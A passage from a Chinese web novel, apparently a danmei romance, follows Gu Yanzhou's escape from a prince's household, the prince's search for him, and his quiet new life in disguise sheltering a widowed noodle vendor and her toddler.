顾砚舟的呼吸都轻了些。
他背上背着简单的行囊。
他决定就在今日离开。
在这个热闹的、欢庆的日子,所有人都高高兴兴、把酒言欢,连守卫都比平常松懈不少,没有人会注意到他悄悄离开。
他远远望着人群中的果儿,他知道这可能是他这辈子看这个孩子的最后一眼了,他想深深地、深深地把他的样子刻在脑海中,留待余生一次次回忆。
他看了很久很久,眼睛都微微红了,才终于收回目光,转身准备离开。
可就在转过身那一刻,他实在忍不住,回头又看了一眼。
祝时瑾正哄着果儿,脸上带着柔和的笑意。
殿下……
这也是我们最后一次见面了罢。
我没有那个好运气,和你一直走到最后,但还是谢谢你,出现在我的生命中,让我有幸与你短暂地同行这段路。
祝你平安喜乐,一世无忧。
顾砚舟深深吸了一口气,收回视线,再无留恋,一翻身跃过青瓦围墙,瞬间消失得无影无踪,偏僻的角门处依旧静悄悄的,仿佛他从未来过。
19.15.无影无踪
傍晚。
一整日的大晴天,到了夜幕时分,天边却突然飘来了乌云,阴沉沉压在王府上空。
风雨欲来,空气中满是令人窒息的沉闷。
世子妃失踪了。
更准确地说,是世子妃逃走了。
可是没有人敢这么说。世子殿下已经在那间破败的小院里坐了整整一个下午,对着世子妃留下来的那半枚平安扣,一言不发,没有人敢去触他的霉头。
“……还是没找到么?”祝时瑾的声音有些哑了。
小雨淅淅沥沥下了起来,昭文不敢抬头,雨水顺着他低下去的斗笠边缘滴滴答答掉落,他小声答道:“找遍了王府所有通道,都没有人见过世子妃。府衙已经增派官丁,封锁宜州城外的各大官道,盘查来往人员。”
东南贸易兴盛,商业发达,人口流动远比其他藩地频繁,宜州又是整个东南的繁华中心,要封锁这里的官道,挨个排查人员,每日便要耽搁大量生意、造成数以万计的天量损失,哪怕是世子殿下,也无法这样不计成本地找人。
“闻常侍有回信么?”
“回了。常侍大人说,最多只能封锁三日,三日之后,也就是九月初一的正午,无论殿下和他说什么,他都会打开官道。”
官道一开,以顾砚舟的身手和行走江湖的本事,便如泥牛入海,无影无踪,再想找他,绝无可能了。
祝时瑾闭了闭眼:“……去找。”
昭文硬着头皮点点头:“是。”
他应下了,可心里却明白希望渺茫。
世子妃十六岁就考中武状元了。在剿匪海战中奇袭破局,被破格擢升为东南府衙最年轻的四品中郎将,就连落魄时换防到王府,当的也是亲兵副统领。
也许他不适合做世子妃,但在武将之职上,东南年轻一辈无人能出其右,当年本该宋大统领为大公子的比武招亲大会压台,最后都换成了他,那时他才十九岁!
如今府衙和王府中这些年轻武将,不过是他走之后,才得以露出头角的庸才,如何能望其项背?
捜査持续了整整三天。
宜州城内外的百姓们议论纷纷,不知道这是在抓什么要犯,出城进城都得排老长老长的队,等着官差查验身份,弄得大家根本没法儿做生意了。
“这进城的队伍,一眼看过去都看不到头!我都三天没进城了,好几车瓜等着卖呢,到底啥时候能开官道?”
“不知道哇!别说你那点儿瓜了,你看见那些商队没有?那一车一车拉的,可都是刚从海船上卸下来的鲜鱼虾蟹,送给城里贵人的,放了一两天,全都臭了,在路边贱卖都没人要,那可亏大发了!”
“真是,过了今天中午,我也去排排队罢,不知要排到什么时候……哎,这队伍好像动了!”
“动了动了!真的动了,官道开了!”
在欢呼声中,乌泱泱的人群里,一人抬起了头,斗笠下是一双明亮而警觉的眼睛。
这人穿着旧衣,下巴满是青黑的胡茬,头发乱糟糟的,要不是那双眼睛,乍一看上去,说是个病弱中年男子也有人信。
他的眼睛静静盯着挪动起来的入城队伍,在众人的欢呼雀跃中,他坐着的这家面摊的摊主也有点儿忍不住了,凑过来笑眯眯道:“这位客官,您吃完了没?我打算收收摊去城里一趟,您这碗面加了臊子和鸡蛋,七文钱。”
要是贵客,摊主是没那个胆子赶人的,但是这人身形瘦削、形容落魄,比叫花子没强上几分,他也就肆无忌惮了。
这人听见他赶人,也没作声,点了点头,从怀中摸出个破旧的钱袋,摊主嘿嘿一笑,伸手去接,那人却突然手腕一翻。
叮铃——
七枚铜板飞了过来,摊主只觉得耳边擦过一阵风,还没反应过来,就听见了铜板叮叮当当落在钱盒中的声音。
差点儿给我耳朵割破了!
摊主背上出了冷汗,再定睛一看,那座上的落魄男子却已没了踪影。
宜州城中,昭文从茶楼二楼的窗户望出去,谢铮府邸的大门开着,谁从此经过、在此逗留,一览无余。
“世子妃会来么?”下属在旁低声道,“官道一开,咱们就在这守着,都好几天了。这位谢大人腿脚不便,没几个朋友,平时除了去府衙上卯,就是自己在家待着,根本也没人来找他……”
“继续盯。世子妃的户籍在殿下手里,没了户籍文书,他逃不过路上关卡的搜查,谢大人是他唯一能找的帮手。”
正说着,谢铮从那府邸大门走出来,两名小厮一左一右搀着他,上了马车。
昭文等人立刻来了精神,可还没半刻,又蔫了下来。
又是去府衙,这位谢大人怎么这么爱上卯!
“谢大人。”府衙中,常侍大人办公的院子门口有下人守着,同谢铮已十分熟悉了,老远就向他打招呼,“常侍大人今日不在。”
谢铮微微一笑:“我找敬珩。”
下人一愣,忙给他让出院门:“您请进。小的马上去请。”
常侍大人正是闻敬珩的亲生父亲,对这个独子管教严格,几乎每日都要把他叫到跟前骂两句,所以谢铮通常是直接来这儿找闻敬珩。
他进了院,院中只有几个扫撒下人,屋里有两名侍茶童子,见他来了,给他泡了茶送来,谢铮一抬手,却不小心打翻了茶杯,热茶洒了一身。
两名小童吓得脸色煞白,谢铮摆摆手:“去重新泡壶茶来,再给我拿条帕子擦一擦衣裳。”
两名童子连忙跑出去,屋里就剩了谢铮一人。
他站起身,径直步入内间。
内间书桌的黑檀木底座上,扣着一枚两寸见方的白玉印章,正是府衙官印。
“阿铮,你找我?”闻敬珩大步跨进屋中,谢铮正拿着小童递来的帕子擦打湿的袖摆,他见了,就笑着走过去:“怎么把茶水打翻了,我给你擦。”
“不用。”谢铮拂了拂袖摆,“我来就是告诉你,明日我去不了了,你再找个人陪你去挑画。”
闻敬珩一顿,面上笑意淡了些,在他旁边坐下,叫小童给自己倒茶。
“怎么,有其他人约你?”
谢铮摇头,他还不信,追问:“是
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嘉言?他又缠着你了,是不是?”
谢铮无奈叹气:“不是。我腿不舒服,想在家休息。”
他的腿这几年恢复得不错,但是一到阴雨天还是隐隐作痛,闻敬珩立刻说:“那就不出门了,我请大夫上门给你看。”
“……”谢铮道,“那就麻烦你了,今天下午能来么?”
“当然,随时都可以。”闻敬珩笑道,“不如我现在就去?”
“现在都到午饭时候了,你是要来蹭饭吃罢。”
“难道我在你这儿连顿饭都蹭不到?”
“好罢,我请你,不过今日不在家里吃,我们去醉仙楼。”
昭文带着人在府衙门口守着,不多时,就见谢铮出来了,但是和他一起出来的,还有闻敬珩,两人有说有笑的,去醉仙楼吃饭了。
下属叹了一口气:“闻大人和殿下走得最近,世子妃看见谢大人和他在一块儿,断不可能出现。”
昭文皱紧了眉头。
“除了府衙和家里,这是他第一次去其他地方。跟上去。”
醉仙楼是闻敬珩最爱吃的一家酒楼,原先他经常和世子殿下一块儿来,所以楼上有一处他的专用雅间,近几年倒是和谢铮来得更多一些,两人照旧点了些常吃的酒菜,吃到一半,谢铮叫小厮去买点儿下酒的酸萝卜,小厮跑出去,不多时,满脸为难地回来了。
“公子,有官爷在外拦着,非要搜了身,才让小的出去。”
谢铮皱了皱眉,闻敬珩比他先一步开口:“怎么回事?哪里来的官爷,搜身搜到自己人身上来了。”
“算了,不买了,这么凑合吃罢。”
闻敬珩哪是凑合的人,登时就起身往外走:“我倒要看看是谁……昭文?”
昭文朝他行礼:“闻大人,见谅。”
看见是他,闻敬珩猜也猜得到是什么事,道:“世子妃不在这儿。”
“下官明白。只是谢大人刚从府衙出来,若是带了什么文书,送出去给世子妃,那下官的麻烦就大了。”
正巧谢铮走出来,听见这一句,脸色登时冷下来:“你什么意思?”
“谢大人,下官只是奉命行事,无意冒犯。”
谢铮冷笑一声:“好一个无意冒犯,世子殿下要是真的无意冒犯,何必像盯犯人一样盯着我!”
他骂人直接骂到了殿下头上,可众人一个字都不敢回。
——当年世子妃坠海,这位谢大人已经冲到王府指着殿下的鼻子骂过一次,把殿下气得生生吐了血,但事后他一点儿事都没有,还在府衙青云直上,好好地当官当到现在。
昭文等人不说话,但也没有让步的意思,谢铮冷着脸一拂袖:“不吃了,回府!”
他带着小厮往楼下走,昭文也带人紧紧跟上,闻敬珩头都大了,连忙追上去:“别生气呀!”
众人呼啦啦离开了,雅间的大门还敞着,片刻,几名伙计上来收拾桌子,其中一人身形比其他人都高一些,其他人收碗筷,他就埋头擦桌子凳子,在众人都没留意的间隙,他从凳子底下飞快抽出一纸文书,塞进了袖中。
20.16.市井生活
宜州是座极尽繁华的大城,城东住着清贵门楣、富庶人家,青砖灰瓦,处处雅致,城西则是市井小民聚居之处,三教九流,鱼龙混杂。
这些市井小民,日子过得好一点儿的,那是祖祖辈辈就在宜州的,有自己的一方土地,前面用作铺面门脸,做点儿小本生意,后面供一家人起居生活,大大小小十几口,都挤在一方小院里。
过得差一些的,就是从外地搬来宜州的,这些人多是行商,生意做得好,就攒下钱来买一间小小的房子,做得不好,不多久就灰溜溜被房东赶出去了,又会有新租客搬进来,一茬接一茬,众人都看惯了。
“客官,客官,小店不能赊账的,你要付钱啊!”穿着粗布衣裳的坤君追出来,抓住那吃完面就走的食客。
这食客长得贼眉鼠眼的,活像老鼠成了精,八字眉一皱,一把将他推倒在地:“老子不付钱?这是你那个赌鬼男人欠老子的!他欠老子十几两银,都没找你要呢!还敢问我要钱?!”
坤君被他推倒在地,又自己爬了起来:“你说他欠你钱,你拿出证据来!你又没有欠条,凭什么天天到我这儿吃白食?!我要去官府告你!”
老鼠精一听,大怒:“你这贱人,还敢去告官,你去告啊!老子今天就喊人把你这摊子拆了!看你怎么养活你那个小娃娃!老子叫你只能去窑子里卖屁股!”
坤君在这三教九流的地方独自讨生活,本来就常受人欺负,偏偏面皮还薄得很,一下子涨红了脸,抬手指着他:“你!你!”
老鼠精见他气短,登时洋洋得意,骂得越发起劲儿:“到时候你还得求着老子照顾你生意呢!哈哈哈哈!”
他在这儿说下流话,几个不怀好意的地痞流氓就在附近跟着笑,这些人都是一伙儿的,成日不务正业,就靠偷鸡摸狗吃白食过活。
坤君气得抓起擀面杖,就朝这人挥去,这人赶紧一个闪身避开,坤君反倒冲过了头,眼看要一个跟头栽进水桶里了,斜里忽然伸出来一只大手,一把抓住了他的胳膊,将他拉了回来。
坤君惊魂未定,转头一看,拉住他的却不是什么风流倜傥的大侠,只是个身量很高,却瘦得跟条木棍似的男人,头发乱糟糟,满下巴胡茬,比那些地痞无赖的打扮还不如呢。
男人见他站稳,就松了手,转头看向那吃白食的老鼠精。
鼠精要是见了猫,自当屁滚尿流,可一看对方也是个鼠精,比自己还瘦呢,登时胆子就大了:“看什么看?怎么,就凭你,还想给他出头?告诉你,老子在这一带可是……”
砰——
老鼠精只觉得眼前一花,便如炮弹一样被踹飞出去,撞进街边的一摊杂物中,发出一声巨响。
几个看热闹的地痞流氓都傻了眼,男人转过头,定定看向他们,几人连个屁都不敢放,登时作鸟兽散。
“你、你他娘的,居然敢……”鼠精摔进杂物堆里半天爬不起来,嘴里还骂骂咧咧的,片刻,有人掀开杂物,一把揪起他的衣襟,将他拎了起来。
他定睛一看,正是刚刚把他踹飞那人,没等他骂出口,那人一巴掌就扇了过来,那五指简直和钢钉一样,扇得他脑袋嗡嗡作响,鼻子里登时流出血来。
老鼠精终于怕了,鼻青脸肿地求饶:“爷、爷,小的有眼不识泰山,求求您放小的一马……”
男人松开他的衣襟,从他身上搜出钱袋,数了七文钱,丢在坤君的钱盒里。
坤君一愣,随即立刻说:“他吃了好多次白食了,付了今天的,还欠我五十六文呢!”
男人一顿,把钱袋丢给他,示意他自己数。
“
坤君这才松了一口气,从钱袋里倒出所有铜板,也才凑齐五十五文,哼了一声,把空袋子丢在老鼠精脸上:“一文钱就当打发叫花子了!呸!”
他收了钱,再回头一看,那男人又回到面摊,坐下继续吃面了。
这场小纠纷很快过去,街头又恢复了熙攘热闹,男人吃完面条,从怀里摸出钱袋要付钱,坤君忙道:“不用了,刚刚你帮了我,我请你吃。”
这男人摇摇头,还是付了钱,起身就走。
还没走出两步,他停住了。
坤君一看,这才发现自家牙牙学语的小娃娃挡在人家跟前,连忙叫道:“团团,快过来!”
团团还不到两岁,是个粉雕玉琢的坤君娃娃,走起路来摇摇摆摆像只小鸭子,听到母亲叫唤,想去母亲那边,面前却挡着两条长腿,他努力抬起小脑袋往上看,可是面前这个人实在太高了,他努力抬头、努力抬头——
“哎呀!”坤君惊叫一声,想去接住后仰摔倒的孩子,那男人的身形却快得看不清,伸手就接住了孩子的后脑勺。
坤君一愣,就见这个落魄邋遢却又极不好惹的男人,把团团抱了起来,那抱孩子的姿势竟然很熟练。
团团睁着大眼睛看着他,小手去抓他下巴上的胡茬,他也不恼,还掏出几文钱来,给团团买了个糖面人儿。
团团吃了糖面人儿,咯咯笑起来,挥舞着小手咿咿呀呀地叫,男人便也微微一笑。
不知为何,那笑容却让人觉得他十分难过。
坤君就此记住了这个男人。
这男人就租住在他隔壁,只是坤君带着娃娃与好几家人挤一间小院,这男人却奢侈地独自一人住着一整间院子,每天早上来他摊上吃一碗面条,人就不见了踪影,到了傍晚回来,再吃一碗,然后回家关上院门,就此结束一天。
坤君其实和他说不上什么话,这男人的话实在太少了,但是有他在,那些吃白食的地痞无赖再也没来过。
在这市井里头,拳头就是本事,坤君原先也是大户人家出身,看人不说看得多准,总比普通市井小民强得多,见这人有本事,就总往他那边走动,给他送些吃食,虽说人家根本不要他的东西,但他刻意营造出两人走得近的样子,狐假虎威,果然受的欺负就少了很多。
直到有一天,房东又来收租了,坤君做的是小本买卖,又得养孩子,日子过得紧巴巴的,低声下气求房东减些租金,求了老半天,人家也不肯松口,自到他钱盒里去拿,直把钱盒倒空了,还差五文钱,便恶声恶气道:“少了五文,你这个月少住两天,二十八就得再交租,知道了么!”
坤君追着他出来:“求您宽限些时
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候罢!每个月三十交,都交不起了……”
正巧那男人回家,路过他们这间院子,房东就嗤笑一声:“你交不起,不知道找你姘头要么?说是大户人家出身,手段果然不一般,攀上一个又一个,总有男人养你。”
被当着男人的面这么说,坤君羞得恨不能钻进地缝,还好男人只是停顿片刻,等房东走了,他也就走了,团团墩墩墩追出来,拉着坤君的衣摆:“娘亲,饿饿。”
坤君抹抹眼泪,回身抱他,余光却见旁边的墙脚下有光闪了一闪。
他走近一看,是一小吊铜板,并不多,几十文钱,却够解他此时的燃眉之急了。
坤君捡起那一小吊铜板,咬了咬唇,转头看去,那男人已打开院门,就要进院了。
“等等!”坤君抱着孩子追上去,“你……你难道不知道,这些闲话是我刻意编出来的?我恩将仇报,你还继续帮我,你不在乎自己的名声么?”
他在这说着,团团在他怀里瘪了瘪嘴,又说了一句:“娘亲,饿饿。”
男人终于回头看了一眼。
“孩子饿了。”他说。
这就是顾砚舟对他说的第一句话,很多年以后,何云初还清楚地记得。
从那一天起,何云初的坏运气似乎到头了,人生开始走上坡路。
顾砚舟收留了他们母子,从小院里打扫出一间厢房给他们,不用付租金,还让他们随便用厨房里的米面粮油和柴火,压在何云初肩上的重担总算松了下来。
他很有自知之明,勤快地为顾砚舟洗衣做饭、照顾起居,甚至晚上睡觉也不闩屋门,他知道一个素不相识的乾君肯接济他们,无非就是为了这些。
可是顾砚舟从来没进过他的屋。
他并不是个难相处的男人,只是沉默让他显得有些拒人于千里之外。他清早出门,晚上才回来,回来时偶尔会给团团带一个糖面人儿,偶尔是一只小风车,很少很少的时候,他也会带些酒,关在屋里一个人喝。
何云初看清楚他的模样,都是一个月之后的事了。
他的胡子长长了,团团不喜欢,拿手推他的脸:“刺、刺。”
何云初在旁道:“我那儿有刮脸刀,给你刮刮脸?”
顾砚舟不做声,团团又抓他乱糟糟的头发,说:“丑、丑。”
“不刮脸,那就好好洗一洗,梳梳头。你说你也不是不洗澡,怎么天天披头散发,邋里邋遢的呢?”
顾砚舟捏捏团团的脸蛋儿,还是不做声。
团团不肯让他抱了,扭出去,墩墩墩地跑了。
到了傍晚,何云初发现他在柴房洗澡,脏衣裳丢在门口的木盆里,便端走木盆给他洗衣。正在院子里奋力搓洗时,听见背后的柴门吱呀一声,有人走了出来。
“洗好了?要不要我帮你梳头?”何云初转过头,那高大男子逆着光,垂眸看他。
头发一丝不苟束在脑后,露出光洁的额头,胡茬刮得干干净净,整张脸端正而深邃,眉眼英气十足,鼻梁挺直周正,宽肩窄腰,一双长腿,跟那画像里的二郎真君似的,英武不凡。
何云初刹那间满脸通红。
21.17.市井生活2
顾砚舟这一个月来被他照顾得不错,按时吃饭,有肉有菜,每日晨起锻炼,晚上早早睡觉,年轻的身体很快充盈起来,皮肉紧实,线条分明,与当初那个瘦得像条棍的简直不是同一个人。
何云初心口怦怦直跳,红着脸收回视线,只敢拿余光偷偷瞟他。
顾砚舟去陪团团玩了,团团正在学说话,他很耐心地教团团一个字一个字地发音,他自己说话也有点儿吃力似的,何云初不禁在心里想,看吧,叫你平时不开口,这下连话都忘记怎么说了吧。
不过,他还真有耐心,教这么小的孩子,很多乾君都是不耐烦的。
等把团团哄睡了,何云初瞅着他,小声道:“我还不知道你叫什么名字,是何年纪。”
“……姓顾,二十四岁。”
何云初就叫他:“顾大哥。”
顾砚舟点点头,往他自己屋里走,何云初忙道:“等等!”
顾砚舟停住,转头看他,有些疑惑。
“……”何云初脸上悄然发起烫来,声音也小了,“我、我想问问,你白天去哪儿了?做些什么活计?不见你回来吃午饭,是去了很远的地方么?”
“要不然,我给你做午饭带过去吧?要是那儿还缺人干活,我也可以和你一起去,我开着这面摊,想必没有你那活计挣钱。”
半晌,顾砚舟道:“我不干活。”
何云初万万没料到是这个回答,愣住了:“啊?”
“那、那你哪儿来这么多钱?能租这么大一间院子,顿顿都能吃肉,还有用不完的油和盐……”
“不要打听我的事。”顾砚舟的话很简短,“过好你的日子,我不介意多养两张嘴。”
他进屋去了。
被这么一口回绝,何云初面上挂不住,讪讪地在心里腹诽两句,刚要回屋,就听他屋门一声轻响——他在屋里把门闩上了。
……真好笑!你人高马大跟堵墙一样,我还能强迫得了你不成?!
何云初气呼呼进屋去了,第二日清早,给顾砚舟下了一碗清水面,没有骨头汤,没有鸡蛋,连盐都没放。
顾砚舟吃了一口,顿住了,何云初等着他兴师问罪,没想到他自己站起来去厨房加了点盐巴,搅和搅和,就这么凑合着吃了。
“……”何云初又觉得怪不好意思的,他吃人家的,住人家的,人家不想搭理他,他还要发脾气只给人家煮清水面条吃,天底下有他这么恩将仇报的吗?
于是他又进了厨房,不多时端出来两个煎鸡蛋,盘子往顾砚舟跟前一搁:“吃吧。”
有鸡蛋吃,顾砚舟也不惊讶,给他吃他就吃了,不给他吃他也无所谓,这到底是个什么人呀!
何云初瞪了他一会儿,认输了,不跟他绕弯子了,径直问:“你每天到底干些什么?大清早出去,到晚上才回来?”
“不要打听我的事。”
“可我和团团现在仰仗着你过活,我总得知道你会不会哪一天突然就死在外头了呀!”何云初把筷子拍在桌上,“我上一个男人就是这么死的!”
顾砚舟瞥了他一眼,那眼神好像在问“你有过很多个男人吗?”,何云初气道:“没有很多个!在你之前就一个!”
“……”顾砚舟吃完了两个煎鸡蛋,说,“我白天出门,只是去看看外面都发生了什么事。”
何云初从来没听过这么没头没尾的话,表情都有些空白:“……只是出去看看?别的什么都不干?”
“嗯。”
“……”何云初张了张嘴,好半天,问,“那最近都发生了什么事?”
“台州暴雨,淹了盐田,还有不少百姓受灾,府衙最近在忙这事。”
何云初愣住了。
台州,盐田,府衙,这些原先常听的词,现在居然有些陌生,一下子撞入脑中,竟叫他不知如何反应。
顾砚舟盯着他:“你听得懂罢?你有姓有名,又识得字,原先家里该有些底子才对。”
……他看出来了。
说他呆笨吧,这些事儿上他又机警得跟狼似的,好像天生就能察觉到危险。
何云初抿了抿嘴,索性和盘托出:“反正你也打听得到。不错,我家没落魄时,我也读过几年书,后来我爹去世了,哥哥没几年就把产业败光了,他到处求人帮忙,就求到了我死了的那个男人头上,那男人专在赌场做放贷生意,他自己也赌,哥哥把我嫁给他之后,解了家里的燃眉之急,但天天和赌棍混在一起,能有什么好下场?”
“我那男人也不知惹了什么人,某一天突然就被人砍死了,我那时刚生下团团,吓得回娘家找人,却发现娘家人早都跑了。后来隔三岔五就有人上门要债,我那时候也傻,分不清真的假的,把家里的东西都赔给他们了,最后连宅子都没留住,只带着些金银细软和孩子出来了。”
说到这里,他打住了,看向顾砚舟:“我说完了,那你呢?你带孩子这么熟练,早娶过媳妇儿了吧?”
“……”顾砚舟看向别处,不做声,何云初哼了一声:“你那媳妇儿还真不知好歹,有你这样的男人,他做梦都该笑醒,居然还把你抛下了。”
“……”
“怎么,问到你不想回答的问题,你就装哑巴?那可不行,我都说了,你也要说。”
顾砚舟只能说:“嗯。”
何云初嗤笑一声:“就一个‘嗯’字?你何时娶的媳妇儿?孩子多大了?为什么分开?”
“……”顾砚舟垂下眼,“别问了。”
“你叫我不问我就不问?”何云初望着他那微微蹙着眉头的英俊面庞,那明显在逃避伤心往事的神情,半晌,道,“他很漂亮吧?”
“……嗯。”
“你一定很中意他咯?”
“……”
顾砚舟不说话了。
何云初看了他老半天,突然又问了一句:“如果他现在回头找你呢?你会不会眼都不眨一下,就跟他走了?”
这次顾砚舟回答得很快。
“不会。”
何云初笑了起来。
他们的日子继续过了下去,何云初是个识趣的聪明人,再也没提过这些旧事,他教团团说话,一个字一个字拉长了教:“爹——
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爹——爹爹——”
团团学着他的发音,墩墩墩跑到顾砚舟跟前,叫:“爹爹——”
顾砚舟微微发怔,随即笑着捏捏团团的脸蛋儿,抱着他出门,给他买一堆糖面人儿。
何云初还是不知道顾砚舟的钱都从哪儿来,但是这男人既不去赌场,也不逛花楼,更没有什么附庸风雅的烧钱爱好,哪怕有一天钱用光了,他有手有脚还有本事,大可以再去挣,于是何云初从不过问这些,只是要他保证,养他们娘俩这两张嘴的承诺,一直作数。
他知道这样很不要脸,但上天赐给他这样好的男人,他要是不紧紧抓住,岂不是白费了老天爷的一番苦心?
顾砚舟的话渐渐多了一些,有时候他会主动提出晚上想吃什么菜,并给何云初留下买菜的钱。
何云初还是摆着那个面摊,不过没有了生活的重担,他长了点儿肉,气色好了不少,隔壁屠户家的婶子总是酸溜溜地说他命好,带着个拖油瓶改嫁,居然还能嫁个有钱有本事的男人。
何云初不再叫顾大哥了,叫当家的——他已经和他一起住了这么久,当然是要个名分的,虽然顾砚舟还是没进过他的屋,但是他现在已经知道,这男人其实很心软,是不忍心戳穿这样的谎言的。
立冬那日,何云初一大早就做了顿好吃的,又提了一嘴:“天气冷了,该穿厚衣裳了。”
到了晚上,顾砚舟拎了个包裹给他,里头是新买的布和棉花。
“团团长高了些,衣裳小了,做身新的。”
何云初翻了翻包裹:“这么多布?他一个小孩儿,做衣裳用不了几尺布,你别被布店老板娘骗了。”
“这是给你的。”
何云初一顿,把那条绛红的棉布扯出来,惊喜道:“这个是给我的?这颜色可贵呢!”
“底下还有一条,是我的。”顾砚舟说,“都有。”
何云初心里跟吃了蜜似的,美滋滋地熬了几晚上,把三人的冬衣都做了出来,先给团团换上了,又给自己穿上,好好梳整齐发髻,在水盆跟前照了又照,满意得不得了。
这会儿顾砚舟还没回家,他就把新冬衣给他送进屋里,整整齐齐叠着摆在床头,摆完了,他又觉得这样太显眼,像邀功似的,便又给他收进箱笼里去。
可刚打开箱笼,他一眼就看见了里头一件浅樱粉的小袄。
何云初脸色一变。
他在外头有人了?
他把那件樱粉小袄拿出来,松了一口气——是小孩儿穿的衣裳。
可是这个大小,不是团团穿的,是三四岁小孩穿的衣裳。
樱粉色,应当也是坤君。
何云初心里不是滋味儿。
原来顾砚舟愿意帮他们娘俩,是因为看见了团团,想到了他自己的坤君孩子。
他爱那个孩子,只是现在爱不着了,这才退而求其次,把团团当成那孩子来爱。
他偷偷给那孩子买衣裳,哪怕知道送不出去,买的料子也比给团团的料子好得多。
他忘不了那个孩子,就像他忘不了和他一起生下孩子的那个人一样。
22.18.市井生活3
何云初抱着那件樱粉小袄看了很久,还是把它放回了原位,当作从没看见过。
他知道,日子要过下去,就得睁一只眼闭一只眼,顾砚舟已是九成九的好,剩下那一点点不好,他得装作看不见。
要是他一直盯着那一点点不好,觉得那是眼中钉肉中刺,挑剔来挑剔去,幸福就会被他挑剔走的。
他还是像之前一样伺候顾砚舟起居饮食,只是话少了些,有点儿闷闷不乐。
这么过了几日,某天清早他在那揉面时,厨房的木门被人轻轻敲了两下。
“肉包子在锅里蒸着,你自己拿。”何云初头也不抬,继续揉面。
顾砚舟从他身边走过去,何云初听见灶台上一声轻响,他搁下了什么东西。
他顿了顿,没有立刻抬头,等到顾砚舟吃完肉包子出门了,才转头一看。
——灶台上搁着一支崭新的银簪,样式像梅花开满枝头,雅致精美。
这家里没有其他人用得上这样的银簪,而且顾砚舟还特地搁在他旁边,这就是送给他的!
……还怪会挑的,知道坤君就喜欢这些中看不中用的东西。
何云初一边在心里想,这肯定是在先前那个媳妇儿身上练出来的哄人功夫,一边又忍不住,嘴角直往上扬,本想矜持地揉完面再去拿,可是没揉两下,就忍不住了,连忙洗洗手,把簪子拿起来细瞧。
银簪入手沉甸甸的,梅花也朵朵精致,一看就是正儿八经的金银楼里的东西,不是街边小摊儿的水货,何云初左看右看,满意得不得了,对着水盆,在发髻上比来比去,好半天才找了个最合适的地方簪上了。
晚上顾砚舟回来的时候,他又像平常那样高高兴兴风风火火的了,看见顾砚舟买了点儿酒,还主动给他拿了酒盏。
顾砚舟看见他发髻上那支梅花银簪,没做声,默默喝了一盏酒,何云初道:“别光喝酒啊,先吃点儿菜。你要不要下酒菜?我前些日子泡了一坛酸萝卜,今天正好能吃了。”
他去切了一小碟酸萝卜,搁在顾砚舟跟前,絮絮叨叨地说:“今天我听人说,立了冬,庙会就要开始了,有戏班子在招人呢,要有武功底子的,一天给五十文钱,好几天呢,你要不要去?”
顾砚舟摇摇头,继续喝酒,吃酸萝卜。
“为什么不去?五十文哪,一天就净挣五十文!我开这个面摊刨去买肉买面的本钱、摊位的租金,最好的时候一天才挣个四十文,生意不好的时候还要倒亏。要不是我没那本事,我都想去。”
“不喜欢抛头露面。”
“哎呀,我都问了,不用抛头露面,戴着鬼脸面具呢,人家根本不知道你是谁。以你的本事,这五十文钱就跟白捡似的,不要白不要啊!”
顾砚舟只喝了几盏,就搁下酒盏,开始吃饭:“我又不缺钱花,也没少了你们娘俩的,你催我做什么。”
何云初一边喂团团吃饭,一边拿眼睛瞅他:“你花钱大手大脚的,只出不进,我看着着急。”
“我没有大手大脚花钱。”
何云初轻飘飘哼了一声:“你给我买的这簪子,没花钱么?”
“……”
“真是的,买个小点儿的便宜货就行了,买个这么大这么显眼的,今天一条街的婶子婆婆都在看我,背后指不定说我怎么败家呢。”
嘴上是这么说,脑袋却昂得高高的,还不知道从哪儿掏出来一面巴掌大的铜镜,照着镜子打理了一下发髻。
顾砚舟没见过他有这么一面镜子,应当是为了能对镜自赏,今天特地买的。
他没做声,继续吃饭,何云初照完镜子,又说:“去不去?凑凑热闹解解闷儿也好呀,你整天早出晚归的,既不干活儿,也不跟人打交道,你不闷么?”
顾砚舟不说话,他就不厌其烦地劝,软磨硬泡,就吃准了顾砚舟心软,果不其然,顾砚舟最后还是点点头答应了。
庙会在城中心举办,不过戏班子是全城巡演,从城中心开始,循着几条主要街道一圈一圈地演,演员轮流休息,其实也是个辛苦活计。
何云初起了个大早,做了肉烧饼,拿油纸包好,给顾砚舟带上:“庙会上午人多,下午就都散了,戏班子不会演一整天的,能早走,你就早些回来,可别跟他们那些乱七八糟的人出去喝酒。”
顾砚舟点点头,带上烧饼出门了,何云初送他出门,直到他拐过弯不见了人影,才撇撇嘴:“每天出门,都是头也不回的……”
转念一想,一个大男人,出个门还要回头看,婆婆妈妈扭扭捏捏的,也不成体统,便又笑了笑,回屋去了。
立冬之后是农闲时节,不少城外的老百姓都会进城赶集,来时带着家里的蛋菜木炭,回去时就换成了油盐和铁具,宜州城也就迎来了一年中最热闹的时候。
顾砚舟已经很久没有这样热闹过了,他换上五彩戏服,戴上鬼脸面具,光明正大地走在阳光下、走在人群中,不用再时刻警惕、四下张望,那种感觉,好像阴沟里的老鼠一下子走到了万众瞩目的街头,一时竟无所适从。
他这样随着队伍走着,像其他演员一样表演着变脸、翻跟头、耍大刀,赢得观众阵阵喝彩。阳光明媚,照在身上暖洋洋的,他出了点儿汗,但是心情却奇异地好了起来。
没有人发现他,没有人会抓他,他就好像周围所有平凡的普通人一样,过着平凡的日子。
没有过去,只有未来。
他微微一笑。
戏班子的长长队伍慢悠悠走完了这条街,刚拐过弯,猝不及防,昭文抱着果儿迎面走来,那么多那么多人,就只有果儿那张闷闷不乐的小脸,直直撞入他的视线。
顾砚舟呼吸一窒。
……果儿。
曾经他无数次在心里叫这个名字,因为讲不出话,只能在心里叫。
如今讲得出话了,没想到还是只能在心里叫。
果儿穿着樱粉的小袄,和他买的那件很像,因为他见殿下给果儿穿这个颜色,像嫩生生的荷花,十分好看,所以他也给果儿买了这个颜色。
只是殿下买的衣裳穿在果儿身上,他买的那件还压在箱底,也许一辈子都穿不到果儿身上了。
“小公子,您想去哪儿玩?还是要吃什么东西?”昭文抱着果儿停在戏班子跟前,“要看杂耍么?属下给您点一个。”
果儿一言不发。那蹙着眉头沉默的模样,已经和殿下很像很像了。
昭文叹了一口气,给旁边的下属使了个眼色,下属当即朗声道:“把你们最厉害的杂耍拿出来!
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”
说着,往戏班子的钱篓子里丢了一锭五两的白银。
班主连忙招呼众人开演,把压箱底的走钢索、踩球顶碗、双脚蹬缸,全都搬出来演了一遍,赢得满堂喝彩,可果儿还是蹙着眉头,笑都没笑一下。
怎么了呢?在王府受了欺负么?原先他带果儿去县城看杂耍,还没有这个好看,只是最简单的变脸,果儿都很喜欢看的。
